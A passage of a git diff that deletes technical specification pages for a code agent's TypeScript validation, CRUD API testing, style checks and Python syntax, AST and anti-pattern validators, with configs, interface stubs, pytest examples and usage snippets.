import errors first - if import_errors: - print("\nFix import errors first:") - for error in import_errors: - print(f" {error}") -``` - ---- - -## Configuration Requirements - -### tsconfig.json - -Must exist in project root: - -```json -{ - "compilerOptions": { - "target": "es5", - "lib": ["dom", "dom.iterable", "esnext"], - "allowJs": true, - "skipLibCheck": true, - "strict": true, - "noEmit": true, - "esModuleInterop": true, - "module": "esnext", - "moduleResolution": "bundler", - "resolveJsonModule": true, - "isolatedModules": true, - "jsx": "preserve", - "incremental": true, - "paths": { - "@/*": ["./src/*"] - } - }, - "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx"], - "exclude": ["node_modules"] -} -``` - -### ESLint Configuration - -Optional, but recommended: - -```json -{ - "extends": ["next/core-web-vitals"], - "rules": { - "@typescript-eslint/no-unused-vars": "error", - "@typescript-eslint/no-explicit-any": "warn" - } -} -``` - ---- - -## Error Handling - -### Missing Configuration - -```python -if not tsconfig.exists(): - return { - "success": False, - "error": "tsconfig.json not found in project" - } -``` - -### Timeout - -```python -try: - result = subprocess.run( - ["npx", "tsc", "--noEmit"], - timeout=120, - ... - ) -except subprocess.TimeoutExpired: - return { - "success": False, - "error": "Validation timed out" - } -``` - -### Command Not Found - -```python -except FileNotFoundError: - return { - "success": False, - "error": "TypeScript compiler (tsc) not found" - } -``` - ---- - -## Testing Requirements - -**File:** `tests/agents/code/test_typescript_tools.py` - -```python -import pytest -from pathlib import Path -from gaia_agent_code.tools.typescript_tools import TypeScriptToolsMixin - -def test_validate_typescript(tmp_path): - """Test TypeScript validation.""" - # Create minimal Next.js project - tsconfig = tmp_path / "tsconfig.json" - tsconfig.write_text('{"compilerOptions": {"noEmit": true}}') - - src_dir = tmp_path / "src" - src_dir.mkdir() - - # Valid TypeScript file - valid_file = src_dir / "valid.ts" - valid_file.write_text(""" -export function add(a: number, b: number): number { - return a + b; -} -""") - - mixin = TypeScriptToolsMixin() - result = mixin.validate_typescript(str(tmp_path)) - - assert result["success"] - assert result["typescript_valid"] - -def test_typescript_errors(tmp_path): - """Test error detection.""" - tsconfig = tmp_path / "tsconfig.json" - tsconfig.write_text('{"compilerOptions": {"noEmit": true}}') - - src_dir = tmp_path / "src" - src_dir.mkdir() - - # Invalid TypeScript - invalid_file = src_dir / "invalid.ts" - invalid_file.write_text(""" -const x: number = "string"; // Type error -""") - - result = validate_typescript(str(tmp_path)) - - assert not result["success"] - assert not result["typescript_valid"] - assert len(result["typescript_errors"]) > 0 - -def test_eslint_integration(tmp_path): - """Test ESLint integration.""" - # Create ESLint config - eslintrc = tmp_path / ".eslintrc.json" - eslintrc.write_text('{"rules": {"no-unused-vars": "error"}}') - - tsconfig = tmp_path / "tsconfig.json" - tsconfig.write_text('{"compilerOptions": {"noEmit": true}}') - - src_dir = tmp_path / "src" - src_dir.mkdir() - - file_with_warning = src_dir / "test.ts" - file_with_warning.write_text(""" -const unused = 42; // Unused variable -export function test() {} -""") - - result = validate_typescript(str(tmp_path)) - - assert not result.get("eslint_valid") - assert len(result.get("eslint_errors", [])) > 0 -``` - ---- - -## Performance Characteristics - -- **TypeScript Check:** 2-10s depending on project size -- **ESLint Check:** 1-5s depending on file count -- **Total Validation:** ~3-15s for typical projects -- **Memory Usage:** ~100-500MB for tsc - ---- - -## Dependencies - -```python -import json -import logging -import subprocess -from pathlib import Path -from typing import Any, Dict - -from gaia.agents.base.tools import tool - -logger = logging.getLogger(__name__) -``` - ---- - -## Integration with Other Tools - -### Works with ValidationToolsMixin - -```python -# TypeScript validation is also available in ValidationToolsMixin -# with additional Tier 4 error messaging - -from gaia_agent_code.tools.validation_tools import ValidationToolsMixin - -result = validation_mixin.validate_typescript(project_dir) -# Returns enhanced error messages with rule citations -``` - -### CI/CD Integration - -```yaml -# .github/workflows/validate.yml -name: Validate TypeScript - -on: [push, pull_request] - -jobs: - validate: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v2 - - uses: actions/setup-node@v2 - - run: npm install - - run: npx tsc --noEmit - - run: npx eslint "src/**/*.{ts,tsx}" -``` - ---- - -*TypeScriptToolsMixin Technical Specification* - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - \ No newline at end of file diff --git a/docs/spec/validation-tools-mixin.mdx b/docs/spec/validation-tools-mixin.mdx deleted file mode 100644 index d136b8ea1..000000000 --- a/docs/spec/validation-tools-mixin.mdx +++ /dev/null @@ -1,399 +0,0 @@ ---- -title: "ValidationToolsMixin" ---- - - - **Source Code:** [`hub/agents/code/python/gaia_agent_code/tools/validation_tools.py`](https://github.com/amd/gaia/blob/main/hub/agents/code/python/gaia_agent_code/tools/validation_tools.py) - - - -**Component:** ValidationToolsMixin -**Module:** `gaia_agent_code.tools.validation_tools` -**Import:** `from gaia_agent_code.tools.validation_tools import ValidationToolsMixin` - ---- - -## Overview - -ValidationToolsMixin provides comprehensive testing and validation tools for Next.js applications with Prisma. It includes CRUD API testing, TypeScript validation, file structure validation, and CSS integrity checks. - -**Key Features:** -- Test CRUD API endpoints using curl -- Validate TypeScript compilation -- Validate CRUD application structure -- Validate CSS files for common issues -- Schema-aware test payload generation -- Automatic dev server management -- Tier 4 error messaging with rule citations - ---- - -## Tool Specifications - -### 1. test_crud_api - -Test CRUD API endpoints with automatic payload generation from schema. - -**Parameters:** -- `project_dir` (str, required): Path to Next.js project -- `model_name` (str, required): Model name (e.g., "Todo", "Post") -- `port` (int, optional): Dev server port (default: 3000) - -**Returns:** -```python -{ - "success": bool, - "result": { - "tests_passed": int, - "tests_failed": int, - "results": { - "POST": {"status": int, "pass": bool}, - "GET_LIST": {"status": int, "pass": bool}, - "GET_SINGLE": {"status": int, "pass": bool}, - "PATCH": {"status": int, "pass": bool}, - "DELETE": {"status": int, "pass": bool} - } - } -} -``` - -**Test Sequence:** -1. Ensure dev server is running (start if needed) -2. Read Prisma schema to get field definitions -3. Generate test payload from schema fields -4. POST: Create test record (expect 201) -5. GET_LIST: List all records (expect 200) -6. GET_SINGLE: Get created record (expect 200) -7. PATCH: Update record (expect 200) -8. DELETE: Delete record (expect 200) -9. Cleanup: Stop dev server if we started it - -### 2. validate_typescript - -Validate TypeScript code with tier 4 error messaging. - -**Parameters:** -- `project_dir` (str, required): Path to Next.js project - -**Returns:** -```python -{ - "success": bool, - "message": str, - - # On failure - "error": str, - "errors": str, # Full tsc output - "violation": str, # What was violated - "rule": str, # The rule that was violated - "fix": str, # How to fix it - "hint": str -} -``` - -**Detected Violations:** -- Missing type imports -- Missing Prisma singleton -- Prisma types not generated -- Direct prisma import in client component - -**Example Error Response:** -```python -{ - "success": False, - "error": "TypeScript validation failed", - "errors": "src/app/todos/page.tsx(5,10): error TS2304: Cannot find name 'Todo'.", - "violation": "Missing type import", - "rule": "Client components must use: import type { X } from '@prisma/client'", - "fix": "Add the missing type import at the top of the file", - "hint": "Fix the type errors listed above, then run validate_typescript again" -} -``` - -### 3. validate_crud_structure - -Validate that all required CRUD files exist. - -**Parameters:** -- `project_dir` (str, required): Path to Next.js project -- `resource_name` (str, required): Resource name (e.g., "todo") - -**Returns:** -```python -{ - "success": bool, - "missing_files": [ - { - "description": str, - "path": str, - "create_with": str # Tool command to create - } - ], - "existing_files": List[str], - "details": str, # Human-readable report - "hint": str -} -``` - -**Checked Files:** -- List page: `src/app/{resource_plural}/page.tsx` -- New page: `src/app/{resource_plural}/new/page.tsx` -- Detail page: `src/app/{resource_plural}/[id]/page.tsx` -- Form component: `src/components/{Resource}Form.tsx` -- Actions component: `src/components/{Resource}Actions.tsx` -- Collection API: `src/app/api/{resource_plural}/route.ts` -- Item API: `src/app/api/{resource_plural}/[id]/route.ts` - -### 4. validate_styles - -Validate CSS files and design system consistency. - -**Parameters:** -- `project_dir` (str, required): Path to Next.js project -- `resource_name` (str, optional): Resource name for component checks - -**Returns:** -```python -{ - "success": bool, - "is_valid": bool, - "errors": List[str], # CRITICAL errors - "warnings": List[str], # Non-blocking warnings - "files_checked": List[str], - "hint": str -} -``` - -**Validates:** -1. CSS files contain valid CSS (not TypeScript) - CRITICAL -2. globals.css has Tailwind directives -3. layout.tsx imports globals.css -4. Balanced braces in CSS files - -**TypeScript Detection Patterns:** -```python -[ - r"^\s*import\s+.*from", # import statement - r"^\s*export\s+", # export statement - r'"use client"|\'use client\'', # React directive - r"^\s*interface\s+\w+", # TypeScript interface - r"^\s*type\s+\w+\s*=", # Type alias - r"^\s*const\s+\w+\s*[=:]", # const declaration - r"<[A-Z][a-zA-Z]*[\s/>]", # JSX component - r"useState|useEffect|useRouter", # React hooks -] -``` - ---- - -## Helper Functions - -### generate_test_payload - -Generate test data from Prisma field definitions. - -**Parameters:** -- `fields` (Dict[str, str]): Field names to types - -**Returns:** -```python -Dict[str, Any] # Test values for each field -``` - -**Type Mappings:** -```python -{ - "String" | "Text": "Test Field Name", - "Int" | "Number": 42, - "Float": 3.14, - "Boolean": True (for active/enabled) | False, - "DateTime": "2025-01-01T00:00:00.000Z" -} -``` - -### _get_create_command - -Generate tool command to create missing CRUD file. - -**Parameters:** -- `description` (str): File description -- `resource_name` (str): Resource name - -**Returns:** -```python -str # Tool command (e.g., 'manage_react_component(variant="form", ...)') -``` - ---- - -## Usage Examples - -### Example 1: Test CRUD API - -```python -from gaia_agent_code import CodeAgent - -agent = CodeAgent() - -# Test Todo CRUD API -result = agent.test_crud_api( - project_dir="/path/to/nextjs-app", - model_name="Todo", - port=3000 -) - -if result["success"]: - print(f"✓ All {result['result']['tests_passed']} tests passed!") -else: - print(f"✗ {result['result']['tests_failed']} tests failed:") - for test, outcome in result["result"]["results"].items(): - if not outcome["pass"]: - print(f" {test}: HTTP {outcome['status']}") -``` - -### Example 2: Validate TypeScript - -```python -result = agent.validate_typescript( - project_dir="/path/to/nextjs-app" -) - -if result["success"]: - print("✓ TypeScript validation passed") -else: - print(f"✗ {result['error']}") - print(f"\nViolation: {result.get('violation', 'Unknown')}") - print(f"Rule: {result.get('rule', 'N/A')}") - print(f"Fix: {result.get('fix', 'See errors above')}") - print(f"\nErrors:\n{result.get('errors', '')}") -``` - -### Example 3: Validate CRUD Structure - -```python -result = agent.validate_crud_structure( - project_dir="/path/to/nextjs-app", - resource_name="todo" -) - -if result["success"]: - print("✓ Complete CRUD structure validated") -else: - print("✗ Missing files:") - for missing in result["missing_files"]: - print(f"\n {missing['description']}") - print(f" Path: {missing['path']}") - print(f" Create: {missing['create_with']}") -``` - -### Example 4: Validate Styles - -```python -result = agent.validate_styles( - project_dir="/path/to/nextjs-app", - resource_name="todo" -) - -if result["is_valid"]: - print("✓ Styling validated successfully") - if result.get("warnings"): - print(f" Warnings: {len(result['warnings'])}") -else: - print("✗ Style validation failed:") - for error in result["errors"]: - print(f" - {error}") - print(f"\nHint: {result.get('hint', '')}") -``` - ---- - -## Testing Requirements - -**File:** `tests/agents/code/test_validation_tools.py` - -```python -def test_generate_test_payload(): - """Test payload generation from schema fields.""" - fields = { - "title": "String", - "count": "Int", - "price": "Float", - "active": "Boolean", - "createdAt": "DateTime" - } - - payload = generate_test_payload(fields) - - assert isinstance(payload["title"], str) - assert isinstance(payload["count"], int) - assert isinstance(payload["price"], float) - assert isinstance(payload["active"], bool) - assert isinstance(payload["createdAt"], str) - -def test_validate_crud_structure(): - """Test CRUD structure validation.""" - # Create temporary project with incomplete structure - result = validate_crud_structure(project_dir, "todo") - - assert not result["success"] - assert len(result["missing_files"]) > 0 - assert "create_with" in result["missing_files"][0] - -def test_validate_styles_detects_typescript(): - """Test TypeScript detection in CSS files.""" - # Create CSS file with TypeScript content - css_file = project_dir / "src/app/globals.css" - css_file.write_text('import React from "react"') - - result = validate_styles(str(project_dir)) - - assert not result["is_valid"] - assert any("TypeScript" in error for error in result["errors"]) -``` - ---- - -## Dependencies - -```python -import json -import logging -import re -import subprocess -import time -from pathlib import Path -from typing import Any, Dict - -from gaia.agents.base.tools import tool -from gaia_agent_code.prompts.code_patterns import pluralize -from gaia_agent_code.tools.cli_tools import is_port_available -from gaia_agent_code.tools.web_dev_tools import read_prisma_model -``` - ---- - -## Integration with Other Mixins - -### Requires CLIToolsMixin -- `_run_foreground_command`: Execute curl commands -- `_run_background_command`: Start dev server -- `_stop_process`: Stop dev server - -### Requires WebToolsMixin -- `read_prisma_model`: Read schema for field definitions - ---- - -*ValidationToolsMixin Technical Specification* - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - \ No newline at end of file diff --git a/docs/spec/validators.mdx b/docs/spec/validators.mdx deleted file mode 100644 index abadf93fd..000000000 --- a/docs/spec/validators.mdx +++ /dev/null @@ -1,950 +0,0 @@ ---- -title: "Code Validators" ---- - - - **Source Code:** [`src/gaia/agents/code/validators/`](https://github.com/amd/gaia/blob/main/src/gaia/agents/code/validators/) - - - -**Module:** `gaia_agent_code.validators` -**Import:** `from gaia_agent_code.validators import SyntaxValidator, ASTAnalyzer, AntipatternChecker` - ---- - -**Components:** SyntaxValidator, ASTAnalyzer, AntipatternChecker - ---- - -## Overview - -The code validators subsystem provides comprehensive Python code quality checking including syntax validation, AST parsing/analysis, and anti-pattern detection. These components work together to ensure generated code meets quality standards before execution or storage. - -**Key Features:** -- Python syntax validation with detailed error messages -- AST parsing for code structure analysis -- Symbol extraction (functions, classes, variables, imports) -- Anti-pattern detection (naming, complexity, code smells) -- Configurable quality thresholds -- Integration with CodeAgent - ---- - -## Requirements - -### Functional Requirements - -#### SyntaxValidator - -1. **Syntax Validation** - - `validate()` - Validate Python code syntax - - Compile and AST parse checking - - Line number and error position tracking - -2. **Code Quality Checks** - - `check_indentation()` - Mixed tabs/spaces, non-standard indentation - - `validate_imports()` - Wildcard imports, duplicate imports - - `check_line_length()` - Configurable max line length - -3. **Error Reporting** - - `ValidationResult` model with errors list - - Dictionary format for legacy compatibility - - SyntaxError extraction - -#### ASTAnalyzer - -1. **Code Parsing** - - `parse_code()` - Parse Python code into AST - - Symbol extraction (functions, classes, variables) - - Import statement analysis - -2. **Symbol Information** - - Function signatures with type annotations - - Docstring extraction - - Line number tracking - -3. **AST Utilities** - - `extract_functions()` - Get all function definitions - - `extract_classes()` - Get all class definitions - - `get_docstring()` - Extract docstrings - -#### AntipatternChecker - -1. **Anti-pattern Detection** - - Combinatorial naming patterns - - Excessive function/class name length - - High parameter counts - - Long functions/files - -2. **Complexity Analysis** - - `check_function_complexity()` - Nesting depth, branches, loops - - `check_naming_patterns()` - Naming convention issues - - Cyclomatic complexity heuristics - -3. **Configurable Thresholds** - - MAX_FUNCTION_NAME_LENGTH = 80 - - MAX_FUNCTION_PARAMETERS = 6 - - MAX_FUNCTION_LINES = 50 - - MAX_NESTING_DEPTH = 4 - -### Non-Functional Requirements - -1. **Performance** - - Fast syntax checking (< 100ms for typical files) - - Efficient AST parsing - - Minimal memory overhead - -2. **Reliability** - - Graceful error handling - - No crashes on malformed code - - Consistent results - -3. **Usability** - - Clear error messages - - Helpful suggestions - - Easy to integrate - ---- - -## API Specification - -### File Locations - -``` -src/gaia/agents/code/validators/syntax_validator.py -src/gaia/agents/code/validators/ast_analyzer.py -src/gaia/agents/code/validators/antipattern_checker.py -``` - -### SyntaxValidator Interface - -```python -import ast -from typing import Any, Dict, List -from ..models import ValidationResult - -class SyntaxValidator: - """Validates Python code syntax.""" - - def validate(self, code: str) -> ValidationResult: - """Validate Python code syntax. - - Args: - code: Python code to validate - - Returns: - ValidationResult with validation details - - Example: - >>> validator = SyntaxValidator() - >>> result = validator.validate("print('hello')") - >>> result.is_valid - True - - >>> result = validator.validate("print('hello'") - >>> result.is_valid - False - >>> result.errors - ["Line 1: EOL while scanning string literal"] - """ - pass - - def validate_dict(self, code: str) -> Dict[str, Any]: - """Validate Python code and return as dictionary (legacy format). - - Args: - code: Python code to validate - - Returns: - Dictionary with validation results: - - status: "success" or "error" - - is_valid: bool - - errors: list of error strings - - message: summary message - - Example: - >>> validator.validate_dict("print('hello')") - { - "status": "success", - "is_valid": True, - "errors": [], - "message": "Syntax is valid" - } - """ - pass - - def get_syntax_errors(self, code: str) -> List[SyntaxError]: - """Get all syntax errors from code. - - Args: - code: Python code to check - - Returns: - List of SyntaxError objects - - Example: - >>> errors = validator.get_syntax_errors("def foo(") - >>> len(errors) - 1 - >>> errors[0].msg - 'unexpected EOF while parsing' - """ - pass - - def check_indentation(self, code: str) -> List[str]: - """Check for indentation issues in code. - - Args: - code: Python code to check - - Returns: - List of indentation warnings - - Example: - >>> code = "def foo():\\n\\t return 1" # Mixed tabs/spaces - >>> warnings = validator.check_indentation(code) - >>> warnings - ["Line 2: Mixed tabs and spaces in indentation"] - """ - pass - - def validate_imports(self, code: str) -> List[str]: - """Validate import statements in code. - - Args: - code: Python code to check - - Returns: - List of import-related warnings - - Example: - >>> code = "from os import *\\nimport sys\\nimport sys" - >>> warnings = validator.validate_imports(code) - >>> warnings - ["Line 1: Wildcard import 'from os import *' is discouraged", - "Line 3: Duplicate import 'sys'"] - """ - pass - - def check_line_length(self, code: str, max_length: int = 88) -> List[str]: - """Check for lines exceeding maximum length. - - Args: - code: Python code to check - max_length: Maximum allowed line length (default: 88 for Black) - - Returns: - List of line length warnings - - Example: - >>> code = "x = " + "1" * 100 - >>> warnings = validator.check_line_length(code, max_length=88) - >>> warnings - ["Line 1: Line too long (103 > 88 characters)"] - """ - pass -``` - -### ASTAnalyzer Interface - -```python -import ast -from typing import List, Optional -from ..models import CodeSymbol, ParsedCode - -class ASTAnalyzer: - """Analyzes Python code using Abstract Syntax Trees.""" - - def parse_code(self, code: str) -> ParsedCode: - """Parse Python code using AST. - - Args: - code: Python source code - - Returns: - ParsedCode object with parsing results: - - is_valid: bool - - ast_tree: AST Module (if valid) - - symbols: List of CodeSymbol objects - - imports: List of import strings - - errors: List of error messages - - Example: - >>> analyzer = ASTAnalyzer() - >>> result = analyzer.parse_code(''' - ... def hello(name: str) -> str: - ... \"\"\"Say hello.\"\"\" - ... return f"Hello, {name}" - ... ''') - >>> result.is_valid - True - >>> result.symbols[0].name - 'hello' - >>> result.symbols[0].type - 'function' - >>> result.symbols[0].signature - 'hello(name: str) -> str' - """ - pass - - def extract_functions( - self, - tree: ast.Module - ) -> List[ast.FunctionDef | ast.AsyncFunctionDef]: - """Extract all function definitions from an AST. - - Args: - tree: AST Module to analyze - - Returns: - List of FunctionDef and AsyncFunctionDef nodes - - Example: - >>> import ast - >>> code = "def foo(): pass\\nasync def bar(): pass" - >>> tree = ast.parse(code) - >>> funcs = analyzer.extract_functions(tree) - >>> len(funcs) - 2 - >>> funcs[0].name - 'foo' - >>> isinstance(funcs[1], ast.AsyncFunctionDef) - True - """ - pass - - def extract_classes(self, tree: ast.Module) -> List[ast.ClassDef]: - """Extract all class definitions from an AST. - - Args: - tree: AST Module to analyze - - Returns: - List of ClassDef nodes - - Example: - >>> code = "class Foo: pass\\nclass Bar: pass" - >>> tree = ast.parse(code) - >>> classes = analyzer.extract_classes(tree) - >>> [c.name for c in classes] - ['Foo', 'Bar'] - """ - pass - - def get_docstring( - self, - node: ast.FunctionDef | ast.AsyncFunctionDef | ast.ClassDef | ast.Module, - ) -> Optional[str]: - """Extract docstring from an AST node. - - Args: - node: AST node to extract docstring from - - Returns: - Docstring text or None - - Example: - >>> code = 'def foo():\\n \"\"\"This is a docstring.\"\"\"\\n pass' - >>> tree = ast.parse(code) - >>> func = tree.body[0] - >>> analyzer.get_docstring(func) - 'This is a docstring.' - """ - pass - - def _get_function_signature( - self, - node: ast.FunctionDef | ast.AsyncFunctionDef - ) -> str: - """Extract function signature from AST node. - - Args: - node: AST FunctionDef or AsyncFunctionDef node - - Returns: - Function signature as string (including type annotations) - - Example: - >>> code = "def foo(x: int, y: str = 'default') -> bool: pass" - >>> tree = ast.parse(code) - >>> func = tree.body[0] - >>> analyzer._get_function_signature(func) - "foo(x: int, y: str) -> bool" - """ - pass -``` - -### AntipatternChecker Interface - -```python -import ast -from pathlib import Path -from typing import Any, Dict, List - -# Configurable thresholds -MAX_FUNCTION_NAME_LENGTH = 80 -MAX_FUNCTION_NAME_LENGTH_WARNING = 40 -MAX_CLASS_NAME_LENGTH = 30 -MAX_COMBINATORIAL_NAMING_THRESHOLD = 3 -MAX_FUNCTION_PARAMETERS = 6 -MAX_FUNCTION_LINES = 50 -MAX_FILE_LINES = 1000 -MAX_UNDERSCORES_IN_NAME = 5 -MAX_NESTING_DEPTH = 4 -MAX_BRANCHES = 10 -MAX_LOOPS = 3 - -class AntipatternChecker: - """Checks for combinatorial anti-patterns and code smells.""" - - def check(self, file_path: Path, content: str) -> Dict[str, Any]: - """Check for combinatorial anti-patterns. - - Args: - file_path: Path to the file being checked (unused currently) - content: File content to analyze - - Returns: - Dictionary with errors and warnings found: - - errors: List of error strings (serious issues) - - warnings: List of warning strings (suggestions) - - Example: - >>> checker = AntipatternChecker() - >>> code = "def get_user_by_id_and_name_and_email_and_status(a, b, c, d, e, f, g): pass" - >>> result = checker.check(Path("test.py"), code) - >>> len(result["errors"]) - 2 # Combinatorial naming + too many parameters - >>> result["errors"][0] - "Line 1: Combinatorial function with 3 'and' and 0 'by'" - """ - pass - - def check_dict(self, content: str) -> Dict[str, Any]: - """Check for anti-patterns in code content (without file path). - - Args: - content: Python code content to check - - Returns: - Dictionary with errors and warnings found - - Example: - >>> result = checker.check_dict("def foo(): pass") - >>> result - {"errors": [], "warnings": []} - """ - pass - - def check_naming_patterns(self, tree: ast.Module) -> List[str]: - """Check for problematic naming patterns. - - Args: - tree: AST tree to analyze - - Returns: - List of naming issues found - - Example: - >>> code = "def very_long_function_name_that_exceeds_limits(): pass" - >>> tree = ast.parse(code) - >>> issues = checker.check_naming_patterns(tree) - >>> issues - ["Function 'very_long_function_name_that_exceeds_l...' has excessively long name (47 chars)"] - """ - pass - - def check_function_complexity(self, node: ast.FunctionDef) -> List[str]: - """Check function complexity metrics. - - Args: - node: Function AST node to analyze - - Returns: - List of complexity issues - - Example: - >>> code = ''' - ... def complex_func(): - ... if x: - ... if y: - ... if z: - ... if a: - ... if b: - ... return 1 - ... ''' - >>> tree = ast.parse(code) - >>> func = tree.body[0] - >>> issues = checker.check_function_complexity(func) - >>> issues - ["Function has excessive nesting depth: 5"] - """ - pass - - def _get_max_nesting_depth(self, node: ast.AST, current_depth: int = 0) -> int: - """Calculate maximum nesting depth in a function. - - Args: - node: AST node to analyze - current_depth: Current nesting level - - Returns: - Maximum nesting depth found - """ - pass - - def _count_branches(self, node: ast.AST) -> int: - """Count number of branches in a function. - - Args: - node: AST node to analyze - - Returns: - Number of branches (if/elif/else) - """ - pass - - def _count_loops(self, node: ast.AST) -> int: - """Count number of loops in a function. - - Args: - node: AST node to analyze - - Returns: - Number of loops (for/while) - """ - pass -``` - -### RequirementsValidator Interface - -Detects hallucinated packages in `requirements.txt` — LLMs occasionally emit -recursive or nonsensical package names (e.g. `-ibm-cloud-ibm-cloud-*` or a -segment repeated three or more times). `RequirementsValidator` pattern-matches -for these and optionally rewrites the file. - -```python -from pathlib import Path -from typing import Any, Dict - -class RequirementsValidator: - """Validates requirements.txt files for hallucinated packages.""" - - # Patterns indicating hallucinated packages - HALLUCINATION_PATTERNS = [ - r".*-ibm-cloud-ibm-cloud.*", - r".*-azure-.*-azure.*", - r".*-gcp-.*-gcp.*", - r".*(\w{4,})-\1-\1.*", - r"flask-graphql-.*-.*-.*-.*-.*", - ] - - def validate(self, req_file: Path, fix: bool = False) -> Dict[str, Any]: - """Validate requirements.txt for hallucinated packages. - - Args: - req_file: Path to requirements.txt - fix: When True, rewrites the file in place removing offending lines - - Returns: - Dict with 'valid', 'errors', 'warnings', 'fixed_content' - """ -``` - -Registered and re-exported from `gaia_agent_code.validators`: - -```python -from gaia_agent_code.validators import ( - SyntaxValidator, - ASTAnalyzer, - AntipatternChecker, - RequirementsValidator, -) -``` - ---- - -## Implementation Details - -### Syntax Validation Flow - -```python -def validate(self, code: str) -> ValidationResult: - result = ValidationResult(is_valid=True) - - try: - # Try to compile the code - compile(code, "", "exec") - - # Also try to parse with AST for more detailed checking - ast.parse(code) - - return result - - except SyntaxError as e: - result.is_valid = False - result.errors.append(f"Line {e.lineno}: {e.msg}") - if e.text: - result.errors.append(f" {e.text.rstrip()}") - if e.offset: - result.errors.append(f" {' ' * (e.offset - 1)}^") - return result - - except Exception as e: - result.is_valid = False - result.errors.append(f"Parse error: {str(e)}") - return result -``` - -### AST Symbol Extraction - -```python -def parse_code(self, code: str) -> ParsedCode: - result = ParsedCode() - result.symbols = [] - result.imports = [] - result.errors = [] - - try: - tree = ast.parse(code) - result.ast_tree = tree - result.is_valid = True - - for node in ast.walk(tree): - if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)): - signature = self._get_function_signature(node) - docstring = ast.get_docstring(node) - result.symbols.append( - CodeSymbol( - name=node.name, - type="function", - line=node.lineno, - signature=signature, - docstring=docstring, - ) - ) - - elif isinstance(node, ast.ClassDef): - docstring = ast.get_docstring(node) - result.symbols.append( - CodeSymbol( - name=node.name, - type="class", - line=node.lineno, - docstring=docstring, - ) - ) - - except SyntaxError as e: - result.is_valid = False - result.errors.append(f"Syntax error at line {e.lineno}: {e.msg}") - - return result -``` - -### Antipattern Detection - -```python -def check(self, _file_path: Path, content: str) -> Dict[str, Any]: - errors = [] - warnings = [] - - try: - tree = ast.parse(content) - - for node in ast.walk(tree): - if not isinstance(node, ast.FunctionDef): - continue - - func_name = node.name - params = [arg.arg for arg in node.args.args if arg.arg not in ("self", "cls")] - - # Check for excessive function name length - if len(func_name) > MAX_FUNCTION_NAME_LENGTH: - errors.append( - f"Line {node.lineno}: Function name {len(func_name)} chars: {func_name[:60]}..." - ) - - # Check for combinatorial naming - and_count = func_name.count("_and_") - by_count = func_name.count("_by_") - if ( - and_count >= MAX_COMBINATORIAL_NAMING_THRESHOLD - or by_count >= MAX_COMBINATORIAL_NAMING_THRESHOLD - ): - errors.append( - f"Line {node.lineno}: Combinatorial function with {and_count} 'and' and {by_count} 'by'" - ) - - # Check parameter count - if len(params) > MAX_FUNCTION_PARAMETERS: - warnings.append( - f"Line {node.lineno}: Function has {len(params)} parameters" - ) - - except SyntaxError: - pass # Let syntax validator handle this - - return {"errors": errors, "warnings": warnings} -``` - ---- - -## Testing Requirements - -### Unit Tests - -**File:** `tests/agents/code/validators/test_validators.py` - -```python -import pytest -from gaia_agent_code.validators import SyntaxValidator, ASTAnalyzer, AntipatternChecker -from pathlib import Path - -# SyntaxValidator Tests - -def test_syntax_validator_valid_code(): - """Test valid Python code.""" - validator = SyntaxValidator() - result = validator.validate("print('hello')") - assert result.is_valid is True - assert len(result.errors) == 0 - -def test_syntax_validator_invalid_code(): - """Test invalid Python code.""" - validator = SyntaxValidator() - result = validator.validate("print('hello'") - assert result.is_valid is False - assert len(result.errors) > 0 - assert "EOL" in result.errors[0] or "EOF" in result.errors[0] - -def test_syntax_validator_check_indentation(): - """Test indentation checking.""" - validator = SyntaxValidator() - code = "def foo():\n\t return 1" # Mixed tabs and spaces - warnings = validator.check_indentation(code) - assert len(warnings) > 0 - assert "Mixed" in warnings[0] - -def test_syntax_validator_validate_imports(): - """Test import validation.""" - validator = SyntaxValidator() - code = "from os import *\nimport sys\nimport sys" - warnings = validator.validate_imports(code) - assert len(warnings) >= 2 - assert any("Wildcard" in w for w in warnings) - assert any("Duplicate" in w for w in warnings) - -# ASTAnalyzer Tests - -def test_ast_analyzer_parse_valid_code(): - """Test parsing valid code.""" - analyzer = ASTAnalyzer() - code = ''' -def hello(name: str) -> str: - """Say hello.""" - return f"Hello, {name}" -''' - result = analyzer.parse_code(code) - assert result.is_valid is True - assert len(result.symbols) == 1 - assert result.symbols[0].name == "hello" - assert result.symbols[0].type == "function" - assert "name: str" in result.symbols[0].signature - assert result.symbols[0].docstring == "Say hello." - -def test_ast_analyzer_extract_classes(): - """Test class extraction.""" - analyzer = ASTAnalyzer() - code = "class Foo:\n pass\n\nclass Bar:\n pass" - result = analyzer.parse_code(code) - classes = [s for s in result.symbols if s.type == "class"] - assert len(classes) == 2 - assert classes[0].name == "Foo" - assert classes[1].name == "Bar" - -# AntipatternChecker Tests - -def test_antipattern_checker_clean_code(): - """Test clean code (no antipatterns).""" - checker = AntipatternChecker() - code = "def foo():\n pass" - result = checker.check(Path("test.py"), code) - assert len(result["errors"]) == 0 - assert len(result["warnings"]) == 0 - -def test_antipattern_checker_combinatorial_naming(): - """Test combinatorial naming detection.""" - checker = AntipatternChecker() - code = "def get_user_by_id_and_name_and_email_and_status(): pass" - result = checker.check(Path("test.py"), code) - assert len(result["errors"]) > 0 - assert any("Combinatorial" in e for e in result["errors"]) - -def test_antipattern_checker_too_many_parameters(): - """Test excessive parameter count.""" - checker = AntipatternChecker() - code = "def foo(a, b, c, d, e, f, g, h): pass" - result = checker.check(Path("test.py"), code) - assert len(result["warnings"]) > 0 - assert any("parameters" in w for w in result["warnings"]) -``` - ---- - -## Usage Examples - -### Example 1: Basic Validation - -```python -from gaia_agent_code.validators import SyntaxValidator - -validator = SyntaxValidator() - -# Valid code -result = validator.validate("print('hello')") -print(result.is_valid) # True - -# Invalid code -result = validator.validate("print('hello'") -print(result.is_valid) # False -print(result.errors) # ["Line 1: EOL while scanning string literal"] -``` - -### Example 2: AST Analysis - -```python -from gaia_agent_code.validators import ASTAnalyzer - -analyzer = ASTAnalyzer() - -code = ''' -def calculate(x: int, y: int) -> int: - """Add two numbers.""" - return x + y - -class Calculator: - """Simple calculator.""" - pass -''' - -result = analyzer.parse_code(code) - -for symbol in result.symbols: - print(f"{symbol.type}: {symbol.name} at line {symbol.line}") - if symbol.signature: - print(f" Signature: {symbol.signature}") - if symbol.docstring: - print(f" Doc: 